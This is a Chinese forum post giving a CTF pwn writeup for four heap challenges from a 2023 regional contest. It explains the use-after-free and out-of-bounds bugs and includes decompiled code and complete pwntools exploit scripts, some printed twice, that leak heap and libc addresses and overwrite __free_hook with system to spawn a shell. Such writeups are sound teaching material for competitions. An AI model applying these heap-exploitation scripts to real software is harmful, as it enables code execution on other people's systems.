首页
社区
课程
招聘
[原创]2023ciscn西南赛区pwn Writeup
发表于: 2023-6-16 12:11 17254

[原创]2023ciscn西南赛区pwn Writeup

2023-6-16 12:11
17254

题目挺抽象的,好久没打比赛了十分手生,决赛加油吧

fix的话,over和artist都是加上沙箱即可。car_manager和223heap把free或者delete函数全部nop掉即可。

下面是break部分

C++的堆菜单题,抹了函数名,逆向起来有难度的话可以动调来推测功能

申请了4个0x8的堆块作为轮子放置了tire_size和tire_pressure,0x68作为车子本体,包含了make、model、year等信息,在最后放置了四个轮子的堆块指针

copy函数中在复制轮子时,也直接复制4个轮子的堆块指针,这导致free原本的车子堆块后新车辆轮子堆块内容不再是tire_size和tire_pressure,而变为tcache上的堆地址

实际上实现了一个UAF漏洞,free函数的机制则是当我们free一个堆块时,会将下一个车子堆块依次回退一格,但高位仍保留

触发漏洞即可完成堆地址的泄露,利用UAF劫持tcache堆块的fd,申请到unsortbin堆块泄露libc,再次劫持fd申请到free_hook完成利用

(值得注意的是,在申请unsortbin位置堆块后导致双向链表被破坏,无法再从unsortbin里申请堆块,要控制劫持的tcache位置,满足申请一次需要的4个0x20堆块)

这道题漏洞挺多,关键漏洞点在于3号功能在第一次使用时,可以将一个ptr堆块地址放进buf,然后可以进入一个执行分支,输入yes可以在buf附近的位置写入0,这里可以实现任意libc地址写0,但似乎用不上。最后会执行一个对buf的0x10的写入,由于第二次开始不用再输入idx就能直接对buf进行修改,如果buf的堆块被free,就达到了一个UAF的效果

idx不会减少,最大为19(需要注意的是,而执行功能2当idx大于>15时程序会exit)

放置idx过大,所以利用UAF劫持申请到tcache_struct,修改tcache堆块个数,从而将堆块放入unsortbin泄露libc地址,同样的办法再劫持tcache的fd申请free_hook

题目看上去存在一个很复杂的算法,观察发现其3个功能都是对*(&ptr + num + 12)这个位置的值进行加减异或,而num却为int类型

题目开始将puts的真实地址放在了puts_addr 变量上。由于有效的输出函数无法泄露libc,这里可以控制num来修改puts_addr为system函数的真实地址,也就是puts函数的真实地址+相对偏移=system函数的真实地址,再调用4功能即可实现getshell。

num的计算可以参考汇编,0x28/4-0xc=-2

题目一共能申请三种大小的堆块,分别存放在free/ptr/buf中(这里的free覆盖并不能达到执行函数的目的,因为free_got已经存在真实函数地址),通过切割unsortbin堆块可以获得libc地址

dele功能0/1/2分别指代buf ptr free,难点在于free(1)即free ptr时,会导致ptr_size被置为0,没有办法使用show功能,所以要注意泄露地址之前不能free(1)

由于在进行free时并不会对指针置0,可以操作指针让它们指向同一堆块,实现堆叠,利用edit功能实现UAF的利用

由于2.23只能申请fastbin,所以申请0x68的堆块,劫持到malloc_hook-0x23,覆盖为one_gadget

 
 
 
for ( i = 0; i <= 3; ++i )
  {
    *(&v10 + i) = operator new(8uLL);
    if ( tire_size )
      **(&v10 + i) = tire_size;
    if ( tire_pressure )
      *(*(&v10 + i) + 4) = tire_pressure;
  }
  if ( year )
  {
    std::string::basic_string(v14, make);
    std::string::basic_string(v15, model);
    v1 = operator new(0x68uLL);
    sub_3644(v1, v14, v15, year, v10, v11, v12, v13);
    v7 = v1;
    std::string::~string(v15);
    std::string::~string(v14);
    sub_3C48(a1, &v7);
    std::operator<<<std::char_traits<char>>(&std::cout, "Car added successfully!\n");
  }
for ( i = 0; i <= 3; ++i )
  {
    *(&v10 + i) = operator new(8uLL);
    if ( tire_size )
      **(&v10 + i) = tire_size;
    if ( tire_pressure )
      *(*(&v10 + i) + 4) = tire_pressure;
  }
  if ( year )
  {
    std::string::basic_string(v14, make);
    std::string::basic_string(v15, model);
    v1 = operator new(0x68uLL);
    sub_3644(v1, v14, v15, year, v10, v11, v12, v13);
    v7 = v1;
    std::string::~string(v15);
    std::string::~string(v14);
    sub_3C48(a1, &v7);
    std::operator<<<std::char_traits<char>>(&std::cout, "Car added successfully!\n");
  }
__int64 __fastcall sub_3B46(_QWORD *a1, _QWORD *a2)
{
  __int64 v2; // rdx
  __int64 result; // rax
  __int64 v4; // rdx
 
  std::string::basic_string(a1, a2);
  std::string::basic_string(a1 + 4, a2 + 4);
  a1[8] = a2[8];
  v2 = a2[10];
  a1[9] = a2[9];
  a1[10] = v2;
  result = a2[11];
  v4 = a2[12];
  a1[11] = result;
  a1[12] = v4;
  return result;
}
__int64 __fastcall sub_3B46(_QWORD *a1, _QWORD *a2)
{
  __int64 v2; // rdx
  __int64 result; // rax
  __int64 v4; // rdx
 
  std::string::basic_string(a1, a2);
  std::string::basic_string(a1 + 4, a2 + 4);
  a1[8] = a2[8];
  v2 = a2[10];
  a1[9] = a2[9];
  a1[10] = v2;
  result = a2[11];
  v4 = a2[12];
  a1[11] = result;
  a1[12] = v4;
  return result;
}
 
 
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
 
p = process("./car_manager")
elf = ELF("./car_manager")
libc = elf.libc
 
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
 
 
def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()
 
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
 
 
def add(make,model,year,size,pressure):
    sla("Please enter your choice:",1)
    sla("Enter the make of the car: ",make)
    sla("Enter the model of the car: ",model)
    sla("Enter the year of the car: ",year)
    sla("Enter the size of tire : ",size)
    sla("Enter the pressure of tire : ",pressure)
 
def dele(idx):
    sla("Please enter your choice:",2)
    sla("Enter the index of the car to delete: ",idx)
 
def find(make,model,year):
    sla("Please enter your choice:",3)
    sla("Enter the make of the car to find: ",make)
    sla("Enter the model of the car to find: ",model)
    sla("Enter the year of the car to find: ",year)
 
def edit(idx, make, model, year, choice, tire_size, tire_pressure, tire_idx=None):
    sla("Please enter your choice:",4)
    sla("Enter the index of the car to modify: ",idx)
    sla("Enter the new make of the car: ",make)
    sla("Enter the new model of the car: ",model)
    sla("Enter the new year of the car: ",year)
    sla("Do you want to change all tires?(1/0)",choice)
    if choice==1:
        sla("Enter the new size of tire : ",tire_size)
        sla("Enter the new pressure of tire : ",tire_pressure)
    else:
        sla("Enter the idx of tire : ",tire_idx)
        sla("Enter the new size of tire : ",tire_size)
        sla("Enter the new pressure of tire : ",tire_pressure)
 
def copy(idx):
    sla("Please enter your choice:",5)
    sla("Enter the index of the car to copy: ",idx)
 
 
def show():
    sla("Please enter your choice:",6)
 
for i in range(0x101):
    add('e4l4',i,1999,0x10,0x10)
 
 
copy(0)
copy(255)
dele(0)
show()
ru("Tire Sizes: 0, ")
heap_base_2 = int((ru(",")[:-1]),10)
lg('heap_base_2')
 
ru("Tire Pressures: 0, ")
heap_base_1 = int((ru(",")[:-1]),10)
lg('heap_base_1')
 
heap_base = (heap_base_1 << 32)+heap_base_2-0x011eb0
lg('heap_base')
 
unsort_heap_2 = (heap_base+0x01a0b0)&0xffffffff
unsort_heap_1 = (heap_base+0x01a0b0)>>32
edit(256,'e4l4',1,1999,1,unsort_heap_2+0x10,unsort_heap_1)
add('e4l4',259,1999,0,0)
 
show()
ru("Car 258:")
ru(", ")
libc_base_2 = int((ru(",")[:-1]),10)
ru("Tire Pressures: ")
ru(", ")
libc_base_1 = int((ru(",")[:-1]),10)
libc_base = (libc_base_1 << 32)+libc_base_2-0x1ecbe0
lg("libc_base")
 
free_hook = libc_base + 0x1eee48
system = libc_base + 0x52290
sh = 0x68732f6e69622f
 
dele(257)
show()
 
edit(254,'e4l4',1,1999,0,free_hook&0xffffffff,free_hook>>32,1)
edit(254,'e4l4',1,1999,0,sh&0xffffffff,sh>>32,0)
add('e4l4','e4l4',1999,system&0xffffffff,system>>32)
dele(254)
 
ia()
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
 
p = process("./car_manager")
elf = ELF("./car_manager")
libc = elf.libc
 
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
 
 
def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()
 
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
 
 
def add(make,model,year,size,pressure):
    sla("Please enter your choice:",1)
    sla("Enter the make of the car: ",make)
    sla("Enter the model of the car: ",model)
    sla("Enter the year of the car: ",year)
    sla("Enter the size of tire : ",size)
    sla("Enter the pressure of tire : ",pressure)
 
def dele(idx):
    sla("Please enter your choice:",2)
    sla("Enter the index of the car to delete: ",idx)
 
def find(make,model,year):
    sla("Please enter your choice:",3)
    sla("Enter the make of the car to find: ",make)
    sla("Enter the model of the car to find: ",model)
    sla("Enter the year of the car to find: ",year)
 
def edit(idx, make, model, year, choice, tire_size, tire_pressure, tire_idx=None):
    sla("Please enter your choice:",4)
    sla("Enter the index of the car to modify: ",idx)
    sla("Enter the new make of the car: ",make)
    sla("Enter the new model of the car: ",model)
    sla("Enter the new year of the car: ",year)
    sla("Do you want to change all tires?(1/0)",choice)
    if choice==1:
        sla("Enter the new size of tire : ",tire_size)
        sla("Enter the new pressure of tire : ",tire_pressure)
    else:
        sla("Enter the idx of tire : ",tire_idx)
        sla("Enter the new size of tire : ",tire_size)
        sla("Enter the new pressure of tire : ",tire_pressure)
 
def copy(idx):
    sla("Please enter your choice:",5)
    sla("Enter the index of the car to copy: ",idx)
 
 
def show():
    sla("Please enter your choice:",6)
 
for i in range(0x101):
    add('e4l4',i,1999,0x10,0x10)
 
 
copy(0)
copy(255)
dele(0)
show()
ru("Tire Sizes: 0, ")
heap_base_2 = int((ru(",")[:-1]),10)
lg('heap_base_2')
 
ru("Tire Pressures: 0, ")
heap_base_1 = int((ru(",")[:-1]),10)
lg('heap_base_1')
 
heap_base = (heap_base_1 << 32)+heap_base_2-0x011eb0
lg('heap_base')
 
unsort_heap_2 = (heap_base+0x01a0b0)&0xffffffff
unsort_heap_1 = (heap_base+0x01a0b0)>>32
edit(256,'e4l4',1,1999,1,unsort_heap_2+0x10,unsort_heap_1)
add('e4l4',259,1999,0,0)
 
show()
ru("Car 258:")
ru(", ")
libc_base_2 = int((ru(",")[:-1]),10)
ru("Tire Pressures: ")
ru(", ")
libc_base_1 = int((ru(",")[:-1]),10)
libc_base = (libc_base_1 << 32)+libc_base_2-0x1ecbe0
lg("libc_base")
 
free_hook = libc_base + 0x1eee48
system = libc_base + 0x52290
sh = 0x68732f6e69622f
 
dele(257)
show()
 
edit(254,'e4l4',1,1999,0,free_hook&0xffffffff,free_hook>>32,1)
edit(254,'e4l4',1,1999,0,sh&0xffffffff,sh>>32,0)
add('e4l4','e4l4',1999,system&0xffffffff,system>>32)
dele(254)
 
ia()
__int64 sub_1411()
{
  unsigned int v1; // [rsp+8h] [rbp-38h] BYREF
  int v2; // [rsp+Ch] [rbp-34h]
  char s1[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]
 
  v4 = __readfsqword(0x28u);
  v2 = 0;
  if ( isFirst )
  {
    write_s("What? Great artists need scrap paper for art?\n");
    write_s("idx: \n");
    __isoc99_scanf("%u", &v1);
    buf = *(&ptr + v1 + 4);
    isFirst = 0;
  }
  write_s("do you want crazy\n");
  __isoc99_scanf("%3s", s1);
  if ( !strncmp(s1, "yes", 3uLL) )
    v2 = 1;
  if ( v2 )
    set_0();
  return read_buf();
}
__int64 sub_1411()
{
  unsigned int v1; // [rsp+8h] [rbp-38h] BYREF
  int v2; // [rsp+Ch] [rbp-34h]
  char s1[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]
 
  v4 = __readfsqword(0x28u);
  v2 = 0;
  if ( isFirst )
  {
    write_s("What? Great artists need scrap paper for art?\n");
    write_s("idx: \n");
    __isoc99_scanf("%u", &v1);
    buf = *(&ptr + v1 + 4);
    isFirst = 0;
  }
  write_s("do you want crazy\n");
  __isoc99_scanf("%3s", s1);
  if ( !strncmp(s1, "yes", 3uLL) )
    v2 = 1;
  if ( v2 )
    set_0();
  return read_buf();
}
 
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
 
# p = remote("","")
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
 
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
 
 
def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()
 
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
 
def add(con):
    sla(">",1)
    p.sendafter("input some",con)
 
def edit(idx,con):
    sla(">",2)
    sla("idx:",idx)
    sla("Would you like to make final edits?",1)
    p.sendafter("input your content",con)
 
def show(idx):
    sla(">",2)
    sla("idx:",idx)
    sla("Would you like to make final edits?",2)
 
# x/32gx $rebase(0x4088)
 
buf = 0x4060
ptr = 0x4088
 
sla("Let us get to know each other.",'e4l4')
 
add('a')# 0
add('a')# 1
add('a')# 2
show(2)
show(0)
show(1)
add('a')# 3
add('a')# 4
 
 
sla(">",3)
sla("idx:",3)
sa("do you want crazy",'f\n')
sa("Go ahead and doodle for your artistic inspiration.",'a')
 
 
show(3)
ru("Please enjoy your masterpiece.\n")
heap_base = uu64()
lg("heap_base")
 
sla(">",3)
sa("do you want crazy",'f\n')
sa("Go ahead and doodle for your artistic inspiration.",p64(heap_base-0x261+0x10))
 
add('a')# 5
add('\x00'*0xe+'\x07\x00')# 6
 
show(5)
show(4)
 
edit(6,'\x00'*0x10)
 
add('a')# 7
show(7)
libc_base = l64()-0x1ecc61
lg('libc_base')
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base +libc.sym["system"]
 
add('a')# 8
add('a')# 9
 
show(8)
show(9)
sla(">",3)
sa("do you want crazy",'f\n')
sa("Go ahead and doodle for your artistic inspiration.",p64(free_hook))
 
add('/bin/sh\x00')# 10
add(p64(system))
# dbg()
show(10)
 
ia()
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256
 
# p = remote("","")
p = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
 
context.log_level = "debug" # info
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-hp','64']
 
 
def dbg(breakpoint=''):
    elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
    script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
    gdb.attach(p,script)
    pause()
 
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
ia      = lambda                    :p.interactive()
hs256   = lambda data               :sha256(str(data).encode()).hexdigest()
l32     = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64     = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32    = lambda                    :u32(p.recv(4).ljust(4,'\x00'))
uu64    = lambda                    :u64(p.recv(6).ljust(8,'\x00'))
int16   = lambda data               :int(data,16)
lg      = lambda s                  :p.success('%s -> 0x%x' % (s, eval(s)))
# sc      = lambda                    :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
 
def add(con):
    sla(">",1)
    p.sendafter("input some",con)
 
def edit(idx,con):
    sla(">",2)
    sla("idx:",idx)
    sla("Would you like to make final edits?",1)
    p.sendafter("input your content",con)
 
def show(idx):
    sla(">",2)
    sla("idx:",idx)
    sla("Would you like to make final edits?",2)
 
# x/32gx $rebase(0x4088)
 

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2023-6-20 10:23 被ef4tless编辑 ,原因:
上传的附件:
收藏
免费 5
支持
分享
最新回复 (4)
雪    币: 29182
活跃值: (63621)
能力值: (RANK:135 )
在线值:
发帖
回帖
粉丝
2
附件能上传一下?
2023-6-19 17:50
0
雪    币: 236
活跃值: (368)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
Editor 附件能上传一下?
加上了
2023-6-20 10:24
0
雪    币: 3989
活跃值: (6683)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
4
2023-7-6 12:39
0
雪    币: 199
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
太强惹
2023-7-10 18:49
0
游客
登录 | 注册 方可回帖
返回
//